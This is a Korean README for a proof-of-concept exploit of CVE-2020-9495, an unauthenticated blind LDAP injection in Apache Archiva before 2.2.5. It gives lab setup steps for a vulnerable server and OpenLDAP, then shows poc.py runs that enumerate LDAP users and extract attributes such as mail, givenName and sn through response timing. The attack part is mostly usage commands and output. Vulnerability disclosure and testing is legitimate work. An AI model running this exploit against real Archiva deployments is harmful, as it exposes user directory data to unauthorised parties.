
Apache Archiva의 LDAP 주입 취약점인 CVE-2020-9495용 개념 증명 익스플로잇입니다. 블라인드 주입을 통해 LDAP 사용자를 열거하고 임의 속성 값을 유출합니다.
CVE-2020-9495는 2.2.5 이전 버전의 Apache Archiva에서 발생하는 중간 심각도의 LDAP 인젝션 취약점입니다. 이 취약점을 통해 공격자는 LDAP 서버에 존재하는 사용자의 모든 LDAP 속성 값을 검색할 수 있습니다.
Apache Archiva 공식 권고에 따르면:
archiva 로그인 양식에 특수 값을 제공함으로써 공격자는 연결된 LDAP 서버로부터 사용자 속성 데이터를 검색할 수 있습니다. 특정 문자를 사용하여 연결된 LDAP 서버의 사용자 쿼리에 사용되는 LDAP 필터를 수정할 수 있습니다. 응답 시간을 측정함으로써 LDAP 사용자 객체로부터 임의의 속성 데이터를 검색할 수 있습니다.
poc.py 스크립트는 인증되지 않은 공격자가 Archiva와 통합된 LDAP 서버에서 사용자를 열거하고 모든 사용자의 모든 속성 값을 가져올 수 있는 방법을 보여줍니다.
LDAP 인증이 활성화된 Archiva 서버가 이미 있다면 이 단계를 건너뛰세요.
Archiva 2.2.4를 다운로드하고 압축을 풉니다.
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
OpenLDAP 서버 실행
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
users.ldif에서 LDAP으로 사용자 가져오기
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Archiva 서버 실행
$ bin/archiva console
웹 인터페이스를 통해 LDAP 인증 활성화 및 구성
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1 사용자의 LDAP 속성 값 검색$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last